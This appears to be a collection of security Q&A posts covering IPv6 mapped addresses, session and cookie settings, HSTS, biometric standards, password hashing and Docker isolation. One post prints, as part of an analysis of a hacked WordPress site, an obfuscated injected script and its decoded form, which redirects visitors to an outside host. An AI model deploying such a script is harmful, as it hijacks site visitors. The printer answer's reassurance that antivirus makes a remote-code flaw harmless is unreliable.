  In addition, special cases like these, while giving deployment benefits in some areas, require a considerable amount of code complexity (e.g., in the implementations of bind() system calls and reverse DNS lookups) that is probably undesirable but can be managed in this case.

  In practice, although the packet translation mechanisms of SIIT are specified for use in "Network Address Translator - Protocol Translator (NAT-PT)" [RFC2766], NAT-PT uses a mechanism different from IPv4-mapped IPv6 addresses for communicating embedded IPv4 addresses in IPv6 addresses.  Also, SIIT is not recommended for use as a standalone transition mechanism.  Given the issues that have been identified, it seems appropriate that mapped addresses should not be used on the wire.  However, changing application behavior by deprecating the use of mapped addresses in the operating system interface would have significant impact on application porting methods as described in [RFC4038], and it is expected that IPv4-mapped IPv6 addresses will continue to be used within the API to aid application portability.

  Using the basic API behavior has some security implications in that it adds additional complexity to address-based access controls.  The main issue that arises is that an IPv6 (AF_INET6) socket will accept IPv4 packets even if the node has no IPv4 (AF_INET) sockets open. This has to be taken into account by application developers and may allow a malicious IPv4 peer to access a service even if there are no open IPv4 sockets.  This violates the security principle of "least surprise".


Tie the session ID to the SSL session The OWASP website says:

  Tie the session ID to the SSL session and provide configurable options
  for actions to take if the session ID is transmitted over a new SSL
  session.

I am not sure if this is actually valid. Can this actually be a useful protection against session hijacking?

Also, I am afraid that by doing this the application functionality might break.

What do you think?

This answer gives some insight onto this.

Namely that the SSL session identifier could be regenerated at any time, at the discretion of the browser. If this happens during a login session, then this would have the effect of logging out the user.

On the reverse side, it might be useful to detect if a single SSL session is being used for multiple sessions, as a way of detecting a user upto no good. However, IP addess is sufficient and more reliable as a means of flagging possibly malicious activity.


What are the NIST/FBI requirements for Fingerprint readers, and Iris scans? Background

I'm trying to locate the US government standard for fingerprint readers and mobile devices.

I heard in passing that the iOS fingerprint reader only scans 9 points, where the FBI requirement is 30 points.

The iris scan is reportedly arriving in some Android phones in the future.

Question

What are the technical requirements of biometric scanners for NIST and the FBI?
What consumer devices (if any) meet those standards?

The DHS released HSPD-12 in 2004, which called for a mandatory standard for federal employee identification and verification. NIST responded six months later with FIPS 201, the minimum requirements to meet the objectives of HSPD-12.

FIPS 201 refers to Special Publication 800-76 (SP 800-76) for "the requirements for collection and formatting of
biometric information". SP 800-76 goes on to reference the ANSI/NIST Fingerprint Standard AN2011 for the preparation of biometric data suitable for FBI background checks, as well as the FBI's Electronic Biometric Transmission Specification EBTS (download).

Other referenced Special Publications from FIPS 201 are:

SP 800-73 Interfaces and card architecture for storing and
retrieving identity credentials from a smart card
SP 800-78  Requirements for cryptographic algorithms
SP 800-79 Requirements for the accreditation of PIV Card issuers
SP 800-87 Unique organizational codes for Federal agencies
SP 800-96 Requirements for the PIV Card reader
SP 800-156 Format for encoding the chain-of-trust for import and export
SP 900-157 Requirements for issuing derived PIV credentials

While I don't know of any smartphones that are FIPS 201 compliant, there are many compliant peripherals that can be used with iOS and Android devices.

A searchable list of FIPS 201 compliant devices can be found at https://www.idmanagement.gov/IDM/IDMFicamProductSearchPage


Web app penetration testing I have a static website which needs to be pentested. It has only got one form which updates some data on the server and i have pentested it with some blind PHP and SQL injection.
The site is hosted on a shared server and it has cpanel.

How should I go about pentesting my website? Is bruteforcing the cpanel is only option?
My website has already been defaced by some hacker. Please tell me whether my approach is correct towards pentesting that website..

Once your website has been hacked, you can not continue safely using it.  You must kill it with fire and restart over.  Wipe the whole thing, then re-install the application from a known-good source (or possibly restore from a known-good backup before you were hacked: but be sure that this predates the hack).

Once your website is hacked, there is no basis for trust.  The hacker could have left any number of backdoors (hackers usually do), and there is no way to detect them.  Pentesting is not going to find backdoors left by a hacker.  Pentesting is not the answer: you need to wipe and re-install.

Immediately after re-installing, make sure to update the software and lock it down so you don't get hacked again.


HTML broken and comments inserted in website One of our customer's site turned into a broken state. Most of the content (which is in Japanese), turned something like this: 会�����案内 (which originally was: 会社案内. Checking on the code, there is no clue that is an encoding problem, but it seems to me that something changed the content deliberately.

At the bottom of the page, it shows these comments (actual values):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

I searched those strings and it seems other sites are showing the same codes (few though). All of them looks like hacked, but only one shows "�" signs.
When recovering the website from a backup, I can confirm those comments where not there.

Probably this question is related to this one : Hacked HTML page - what's in the comment following the obfuscated code?

However these strings are not encoded in the same way and not JS is included nor <b1> tag.

I don't think its a ramsomware as it is not all encrypted, it seems to me more like vandalism through injection. About the codes on the bottom, it could be a kind of ID, to see which sites has been "done" already.

I run it through some online malware-check sites and showed nothing.

What is the purpose of it? Anyone here knows what kind of attack it is?

After checking the websites which contained such comments, I found that all of them are Wordpress sites. 3 of them contained an injected Javascript (in our site, all javascript is removed from posts, so maybe that is why that code was not successfully injected). The obfuscated code looks like:

  (new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8,
  37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106
  - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6,
  102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9,
  48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 -
  2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3,
  86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8,
  89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71
  - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

After decoding it, it becomes:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

After further decoding:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

What I can get from that code is:

It does not run if a bot is the user agent (e.g. google, yahoo...) or if you are running as admin/editor? (I couldn't find about wp-settings cookie).

After 20 seconds: It setups a cookie with name "yYjra4PCc8kmBHess1ib" for the attacked domain, with value "123" and stores in local storage such key with value 1. (key must be different per site, to identify it)

After that, it will redirect your site to: http://vyhub.com/css/css/

That's it.

About "vyhub.com":

The front page shows: "Its Working...!"
It is registered with godaddy.com, but not further information is available.
The server is located in Singapore.
http://vyhub.com/css/css/ takes you to http://loveo.com

About "loveo.com":

Its a dating site located and registered in US.

So what I see from this, is that they use a Wordpress vulnerability to inject a JS which will redirect visitors into loveo.com.

Bad business...

Encoding problem:

The problem with the encoding could be related to other reasons: perhaps the code who injects the code altered the original content intentionally (vandalism) or unintentionally (they don't handle unicode very well).

Action taken:

Logs didn't show anything suspicious (so far), so we run some security checks at the server and all seems in place. After recovered from a backup, we updated wordpress (it was slightly outdated) + plugins and changed passwords.


What does Mark Shuttleworth mean by "we have root"? In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote:

  Don’t trust us? Erm, we have root. You do trust us with your data
  already. You trust us not to screw up on your machine with every
  update. You trust Debian, and you trust a large swathe of the open
  source community. And most importantly, you trust us to address it
  when, being human, we err.

What does he mean by "we have root"? Surely Canonical doesn't have root access to every machine running Ubuntu?

The wording of that sentence may seem a bit worrying because in a way it implies that they have root access as a backdoor that is already installed and in use. The truth is that it was just bad wording from Mark and what he tried to explain is that, yes, they have potential root access to your machine because every package update runs as root and at that point they can do and install anything they want or anything that could potentially sneak in from some open source project.

If you also go through the comments on that blog post you will find Mark giving the answer to your question(his username in comments is 'mark')

Someone asked him:

  Sebastian says:
  (http://www.markshuttleworth.com/archives/1182#comment-396204)
  September 23rd, 2012 at 11:42 am
  Ermm. You have root? Details please.

and then Mark replied:

  mark says:
  (http://www.markshuttleworth.com/archives/1182#comment-396225)
  September 23rd, 2012 at 1:00 pm
  @Sebastian – Every package update installs as root.


Encouraging security researchers to disclose vulnerabilities What are approaches to forming solid relationships with security researchers?

For example, is publishing a public PGP key on the "contact us" page of a company's website for high levels of risk related to security standard practice?

Here are several steps you could take to encourage security researchers to disclose vulnerabilities to you:

Waive liability. Promise not to sue researchers who disclose vulnerabilities to you in a responsible fashion.  Currently, many researchers report worrying that reporting a vulnerability to a company could get them sued, and so sometimes they just don't report vulnerabilities they find.  By prominently and publicly committing not to do that, you can help security researchers feel more comfortable contacting you.  See here, here, here, here, here, here, and here.
Thank the researchers. Publicly and prominently acknowledge the researchers who have reported vulnerabilities to you, in vulnerability announcements and other forums.  Many researchers who report vulnerabilities do so out of a sense of responsibility and service to the community, and the only quid pro quo is possibly some public acknowledgement.  A policy of publicly acknowledging reporters costs nothing, and encourages others to report in the future.
Establish a security reporting address. Clearly indicate how to report security vulnerabilities to your team.  (You'd be surprised by how many places don't take this simple step.)
Act promptly on bug reports. When a security problem is reported, act on it within a reasonable time frame.  If researchers report a bug to you and you take no action, or you drag your feet, then researchers may get fed up with you, say "to heck with it", and stop reporting vulnerabilities to you (e.g., instead just releasing them publicly).  To pick one recent example, look at how Yelp responded to a report of a security problem with their mobile site; that's an exemplary, outstanding response.
Pay for bug reports. Establish a bounty program that will provide payment to those who first report a serious security problem to you (if it has not been previously or simultaneously disclosed in public).


Is it possible to create a pem file server certificate from the result of openssl s_client -showcerts? I know it is possible to list server certificates from a client via openssl s_client -showcerts.

So, my question is, is it possible to create a valid ssl server certificate from this without needing to contact the server admin?

I have control of my client machine but not of the server so if I can avoid it, it would save trouble. I believe I need a .pem file and need a root certificate since using curl to access the server results in unable to get local issuer certificate.

If it not possible to do it, a kind application of why it is not possible would be appreciated, as am a bit out of my depth here. It seems to me only logical that it would be possible as the server has provided its certificate already.

openssl s_client -showcerts also outputs these errors:

verify error:num=20:unable to get local issuer certificate
verify error:num=27:certificate not trusted
verify error:num=21:unable to verify the first certificate

In essence, I would like to be able to make ssl as a client trust the server I am connecting to.

IF your curl was built to use OpenSSL -- as you tagged but which is not the only option for curl, verify with curl -V -- AND the server is correctly serving any/all intermediate cert(s), THEN to trust the server curl-with-openssl needs a local 'truststore' containing the root cert for the server's cert chain (NOT the server's cert itself) in PEM format. (Some other SSL/TLS implmentations will accept nonroot anchor(s), but older versions of OpenSSL cannot do so at all, and even 1.0.2 doesn't  do so by default.)

METHOD 0: maybe already there. Packages of curl often include a 'bundle' of widely-trusted CA roots such as Symantec GoDaddy etc., or link to another package that does (typically named something like ca-bundle or trusted-cas). The format(s) of the certs in such a bundle depend on the SSL/TLS library(ies) you use; check curl -V as above. Check if you have such a bundle installed, and if so whether your curl is using it. If you don't have or can't get a package (including the case you build curl yourself) AND use OpenSSL, curl upstream has a bundle of CA roots extracted from Mozilla NSS/Firefox extracted into the concatenated-PEM format needed for OpenSSL (and a tool to do this yourself).

openssl commandline need not use the same default truststore location(s) as curl -- and even if it does, until recent versions the s_client command had a bug that didn't use the default truststore correctly. If you do have a concatenated-PEM bundle, specify it to s_client with -CAfile bundlefile and see if that makes a difference.

If method 0 doesn't apply, you need to get the server's root and add it to your truststore, or just use it as a truststore by itself.

METHOD 1: get from browser. IF you can connect to the server with a browswer like IE/Edge, Firefox, Chrome, etc. (this requires there be a URL you can enter that the server will respond with a successful webpage), THEN doubleclick on the padlock and click on whichever buttons or links lead to displaying the certificate chain (exact ones vary per browser). Select the topmost cert in the chain and look for an option to export it, preferably in single-cert PEM format (again exact method varies per browser). If you can't get single-cert PEM format, comment what format you did get (give the first line if it looks like -----BEGIN something) and I'll tell you how to convert it.

Take this file (copy to the curl machine if you created it somewhere else) and either add it to your truststore (depends on your packaging system; may be a simple as concatenating it to the existing concatenated-PEM file) or specify it by itself to curl with option --cacert filename.

METHOD 2: s_client plus. Run openssl s_client -connect host:port -showcerts and capture (redirect or scrape) the output. Take the last block of lines -----BEGIN CERTIFICATE----- to ----END CERTIFICATE----- and put it in a file, for example topcert. If the s: and i: names (subject and issuer) immediately preceding this block are exactly the same, this is the root cert and you're all set. Use this file as above, but only if you are satisified this CA is honest and competent (even though they apparently didn't convince the browser makers if method 1 didn't work) because you are putting the security of your data in their hands.

If the top cert from the server is not a root, you need to get its parent cert, which must be the root. Alternatively, in some cases this is a 'bridge' or 'transition' cert that links a new CA back to another (older) CA, and there is also a sibling cert for the new CA that is a root cert. First do openssl x509 -in topcert -noout -text and look under x509v3 extensions then Authority Information Access for CA Issuers. If present, accessing this URL (or any of them) should provide the parent cert. This is usually in DER format; if so convert with openssl x509 -in input -inform der -out output.

Otherwise, look at any OCSP address(es), any CRL Distribution Point(s), and any URL(s) or domain name(s) in Certificate Policies or the Issuer name for the domain name(s) used by the CA and poke around there to try to find the parent root. Similarly look at any URL(s) or domain name(s) in Policies or Subject name and poke around for a sibling root. Or google for the Issuer name and/or Subject name. Or post the cert here. Or some combination.


Does HSTS inlcudeSubDomains directive include subdomains on all levels? I asked this question on Stack Overflow, but thought its more relevant here.
Regarding the HSTS includeSubDomains directive. Does this include every subdomain underneath e.g. example.com. So abc.def.example.com is also included?

In the RFC:

The OPTIONAL "includeSubDomains" directive is a valueless directive
which, if present (i.e., it is "asserted"), signals the UA that the
HSTS Policy applies to this HSTS Host as well as any subdomains of
the host's domain name.

This states "any", can I take that to mean every subdomain, no matter what level, e.g. sub1.sub2.sub3.example.com and not just sub3.example.com?

Yes, this should apply to all subdomains (see Steffen Ullrich's comment for caveat).

In foo.bar.foobar, foo is a subdomain of bar.foobar, and bar is a subdomain of foobar, so therefore foo.bar.foobar is an indirect subdomain of foobar.


Firewall egress filtering / quick whitelisting Suppose your Aunt or Uncle is easily fooled by phishing attempts and their computer has multiple root kits and key loggers running.  Assume their computing habits will never change.

Looking at his wireless router you can see that he only visits a few dozen or a few hundred websites multiple times in a month.  Instead of trying to keep the bad guys out, set up the firewall's default outbound rule to be block (deny/reject) everything to prevent the bad guys from getting out.

If this non-technical relative had a simple python program running with an ssh connection into the firewall, the program could monitor the IP addresses as they get blocked.  The program would then ask the user if they want to access 72.21.211.176 Amazon.com (USA).  If the user says yes, the program might then ask:  Allow outbound access to all 72.21.. networks?  This is an attempt to save some time creating a whitelist.

I know opinions vary as to the value of egress filtering.  But with all the technology advances in the last 20 years, I find it frustrating that there is not a simple way for non-technical users to prevent sending data to that village in Wales (Llanfairpwllgwyngyll) that we all know is full of nation state hackers.
http://en.wikipedia.org/wiki/Llanfairpwllgwyngyll

Since I am more of a SQL developer than a security expert, I am posting this to see if this would realistically help secure the home network in the example above.  Of course the solution is not perfect, but it seems like it would help.  This thought came about after reading about DGA malware that have been known to create thousands of new domains per second and realizing that attackers are way more sophisticated than I imagined.  http://en.wikipedia.org/wiki/Domain_generation_algorithm

UPDATE
As both answers indicate, this is not a good way to approach the problem.  Too many IPs in the world and the user can't be trusted to allow only safe domains.

The problem with a outbound filtering solution of the nature suggested is that modern web applications and software contact a bewildering array of servers on the Internet and it would be very difficult for a non-technical user (or indeed anyone) to make informed decisions about this (To get a good illustration of the problem try running glasswire or Little snitch both of which show you when a program makes outbound connections).

Also with the proliferation of cloud services there's no way by IP address to differentiate between a legitimate service using say Amazon AWS and a compromised AWS instance being used by malware, they could literally sit side-by-side in the same datacentre.

My personal recommendation would be for them to use a platform that is less targeted and/or less prone to malware.  An environment where their user account has fewer privileges to install malware is likely to be less of a problem.  Perhaps consider something which automatically resets the machine to a default config. on a regular basis as one option.


Any reason NOT to set all cookies to use httponly and secure Assuming a site is using all HTTPS all the time (LB redirects port 80 to 443), is there any reason not to force every cookie set by the application to use BOTH secure AND httponly?

Currently, for example, a PCI scan will only flag the jsessionid as not using the secure attribute, but tomorrow it could be the other one, so I'm trying to get ahead of it.

Yes, there are cases where you don't want HTTP ONLY or SECURE.
If you need javascript to see the cookie value, then you remove the HTTP-Only flag. A couple cases - some sites track the page state in a cookie using javascript to read and write the cookie value. CSRF mitigations often rely on the server sending a value in a cookie, and expect javascript to read that value.
The Secure flag is more important. If we expect all sites to run over https, and only https, then the only http part is a redirect to https. You never want your cookie sent in the clear. Well, almost never. Here are two cases where you might:

development environments often don't have, or don't need to have TLS certs (though maybe they should).
to track activity that originated on http. You might even use your load balancer to set an insecure cookie before it sends back the redirect. Then your application analytics can track which URLs came in as HTTP. Your load balancer can track which sessions came in as http.

In practice, if you're running an https site, always set the secure cookie, and always error on the safe side by setting HTTPONLY, unless you know your javascript requires cookie access.
UPDATE - TLS in Development
A lot of talk about whether you should or shouldn't use TLS in development. Posted the question here:
Should I develop with TLS on or off?


Why are brute-force password-cracking attacks not automatically detected and thwarted? Why doesn't software automatically detect password-cracking attacks, and thwart them?

Long version:

Suppose that someone tries a brute-force password-cracking attack on some program XYZ that requires password authentication.

My understanding is that such an attack would consist of iterating over the set of "all possible passwords", supplying each in turn to XYZ, until one of them works. For this strategy to have any probability of success, the attacker would have to be able to supply to XYZ very many candidate passwords per second.  Therefore, it would be trivial to program XYZ to detect this pattern (that is, distinguish it from the case where a legitimate user mistypes the correct password a few times), and automatically escalate the authentication requirement for the next, say, 10 minutes.

The idea is that the owner of XYZ would be allowed to set two "passwords": a "level 1 password" (AKA "the password") that is relatively easy to remember and easy to type, but also relatively easy to crack by brute force, and a "level 2 password" (AKA "the passphrase") that could be extremely long, impossible to crack by brute force, but also very inconvenient for (legitimate) daily use.

Someone who knew the convenient-but-weak password would hardly ever need to use the uncrackable-but-inconvenient passphrase.

I'm sure there's some huge flaw in this scheme, otherwise passwords would not the headache to legitimate users that it is. What is the explanation?

Reasonably often, they do.  Any reasonable system will lock you out if you make too many online attacks (or legitimate incorrect attempts) to access the account.

The problem comes with offline attacks.  The server (or whatever you are authenticating too) has to have something to compare the password to.  This is typically either an encrypted value that can be decrypted with the password or a hash.  If this value is compromised, such as when an attacker gains access to the database of users, they can then try to run the hash or decryption on their own computer and bypass all the counts of how many times things have been tried.  They can also try guessing orders of magnitude faster since they are working locally and don't have to wait for a network.

With an offline attack, it is possible to try thousands if not millions of attacks a second and it suddenly becomes trivial to attack simple passwords within minutes, if not seconds.  There is no way to prevent the attack since we have no control over the system being used to check the password.  This is why it is important to change your password after a DB compromise is discovered.


Is the new HP printer vulnerability only relevant for network printers? There is a new vulnerability announced for HP M553 printers. On my reading, however, it appears that it only affects network printers. In other words if two people are connected to the same printer, one person might be able to see the other person's print jobs.

I have an M553 but it is only connected to one PC via a USB cable. Does that mean the vulnerability is irrelevant for me?

As it seems there are a few bugs causing a remote code execution vulnerability. That kind of vulnerability would be able for your printer, because your printer is connected to your computer which is connected to a internet connection. I would recommand you to install the patches they'll release next week, cause they fix some other bugs, too. Don't be worry, I guess you have a antivirus software running on your computer, so the vulnerability is unlikely to bother you.


What exactly are the session injection concerns when using Firebase Signin Links? I'm guessing this applies to all implementations of sign-in links, but since I'm using Firebase I'd like to understand their concerns: https://firebase.google.com/docs/auth/web/email-link-auth#security_concerns

Do not pass the user’s email in the redirect URL parameters and re-use it as this may enable session injections.

What exactly are the concerns here?
Knowing that Firebase sign-in links:

Expire after 6 hours
Can only be used once

TL;DR: Don't bypass the restrictions imposed by firebase on the application you develop. Although by default firebase doesn't allow you to change these values afaik, you have the options to create a custom e-mail template and a flow and "add" the tweaks.
Firebase "verifies" the user before creating a session by something the user know and another thing that user has. In this case e-mail and the link the user received in order.
In traditional approach, this is username and password.
If you put the "e-mail" information in to the object the user supposed to have, you reduce the factors from two to one.
And also if you let user to reuse the same object instead of unique asset that is generated every time the user intentionally request, you further reduce the security.
Take this examples:

Developer generates a sign on link that is reusable and e-mail address embedded. And user goes on and pastes this link somewhere public. In this case anyone clicking on the link will log on as the same user.

Developer generates a sign on link that is only reusable. User pastes the link to a chat application where others can see or guess its e-mail. With minimal effort, others will be able to log on as the same user.

The document just explicitly warns the developers to not bypass or workaround the restrictions imposed by firebase as you mentioned.


Someone has registered my partner's recycled email account My partner has a unique name, and while we can't truly be certain, we're almost 100% sure she is the only one in the world with it.

Once upon a time she had a Hotmail account with her name as the username, along the lines of janedoe@hotmail.com, which she deactivated for various reasons.

We recently discovered that someone has re-registered the same account with her name. Apparently Hotmail accounts get recycled after a period of time following deactivation (somewhat like phone numbers I guess), and they become fair game for anyone.

Now perhaps there is someone out there with her name who just happened to create a Hotmail account, but we were able to find out that the recovery email address ended in @126.com, a major Chinese email provider.

The Hotmail team suggested raising an abuse case on the chance that it is being used for spam etc. but we haven't heard anything about it.

This is worrying. Why would someone do this, and what can she do to protect herself? There's a good chance she had other accounts connected to this email that we've forgotten about. In fact, the reason we discovered this is because she had an Apple ID connected to it that we tried to regain access to.

Why would someone do this and what can she do to protect herself?

It is not clear what the motive could be. Maybe someone is recycling old, forgotten, deprecated accounts to sit and wait for an important email to arrive that offer potential for financial benefits or to attain illegitimate access  (e.g. Apple ID account access) or just use it for spam.

There is not much she can do to protect herself but to try to "un-link" accounts linked to that email address or, if that is not possible, delete these accounts since you have no way of accessing that email now and someone else clearly does. This makes it a security risk. Other than that, notify the hosts such as Hotmail (which you already did).


bscrypt,scrypt v/s iterative SHA-x Both bcrypt and scrypt hashing algorithms are designed to increase the resources required during the computation. Hashing passwords with these algorithms can be beneficial as it makes the task of an offline attacker more difficult.

The time required to hash a password can be increased by increasing the number of iterations in bcrypt. The attacker then has to execute this iterations in sequential manner as there is no assumed shortcut.

The memory required to hash a password can be increased in scrypt. The attacker will therefore need a large amount of memory to mount parallel attacks.

As, I understand both these algorithm attempt to thwart the parallel attacks.

My question is can we make SHA-x or any exiting secure hash algorithm iterative and memory intensive, and achieve the same functionality as that of bcrypt and scrypt?

Making a hash function "iterative" already exists; it is called PBKDF2. Bcrypt is still preferable because PBKDF2 can be thoroughly optimized on GPU.

Designing a good password hashing function is a difficult job; but yes, existing hash function are good building elements, so they are likely to be involved at some point. Indeed, look at scrypt: it starts and ends with a PBKDF2 invocation, hence a lot of hashing. But the memory hardness comes from what happens between these two hashing phases. It is not a matter of a simple assemblage of hash functions that would provide memory hardness; just like a car is not simply "wheels that go where you want": the wheels are essential, but there is more in a car than wheels.

Cryptographers are currently busy designing and analysing new password hashing functions that try to be better (in some way) than PBKDF2, bcrypt and scrypt. This is the Password Hashing Competition. Some of the candidates reuse existing hash functions (e.g. Catena), but, like scrypt, their nice "password hashing" properties (e.g. memory hardness) comes from the rest of the design.


Disable ASLR inside Docker container I am looking to disable ASLR (address space layout randomization) inside a Docker container. Not sure if it is possible. The container is running on Alpine, but from what I understand, ASLR is a Kernel feature and Docker uses the host kernel to run, thus not making it easily possible to disable ASLR only for Docker.

How can I disable ASLR only inside the Docker container ?

You can use the personality(2) syscall to set the ADDR_NO_RANDOMIZE flag for a process. That process, and any of its children, will not be using ASLR. Do this in whatever process starts Docker.

ADDR_NO_RANDOMIZE (since Linux 2.6.12)
       With this flag set, disable address-space-layout
       randomization.


What makes Docker more secure than VMs or bare metal? I recently had a discussion with a Docker expert about the security of Docker vs. virtual machines. When I told that I've read from different sources that it's easier for code running within a Docker container to escape from it than for a code running in a virtual machine, the expert explained that I'm completely wrong, and that Docker machines are actually more secure in terms of preventing the malicious code from affecting other machines, compared to virtual machines or bare metal.

Although he tried to explain what makes Docker containers more secure, his explanation was too technical for me.

From what I understand, “OS-level virtualization reuses the kernel-space between virtual machines” as explained in a different answer on this site. In other words, code from a Docker container could exploit a kernel vulnerability, which wouldn't be possible to do from a virtual machine.

Therefore, what could make it inherently more secure to use Docker compared to VMs or bare metal isolation, in a context where code running in a container/machine would intentionally try to escape and infect/damage other containers/machines? Let's assume Docker is configured properly, which prevents three of the four categories of attacks described here.

No, Docker containers are not more secure than a VM.

Quoting Daniel Shapira:

  In 2017 alone, 434 linux kernel exploits were found, and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient.

1. Kernel exploits from a container

If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the container.

If this exploit allows for arbitrary memory access, the attacker can change or read any data for any other container.

On a VM, the process is longer: the attacker would have to exploit both the VM kernel, the hypervisor, and the host kernel (and this may not be the same as the VM kernel).

2. Resource starvation

As all the containers share the same kernel and the same resources, if the access to some resource is not constrained, one container can use it all up and starve the host OS and the other containers.

On a VM, the resources are defined by the hypervisor, so no VM  can deny the host OS from any resource, as the hypervisor itself can be configured to make restricted use of resources.

3. Container breakout

If any user inside a container is able to escape the container using some exploit or misconfiguration, they will have access to all containers running on the host. That happens because the same user running the docker engine is the user running the containers. If any exploit executes code on the host, it will execute under the privileges of the docker engine, so it can access any container.

4. Data separation

On a docker container, there're some resources that are not namespaced:

SELinux
Cgroups
file systems under /sys, /proc/sys,
/proc/sysrq-trigger, /proc/irq, /proc/bus
/dev/mem, /dev/sd* file system
Kernel Modules

If any attacker can exploit any of those elements, they will own the host OS.

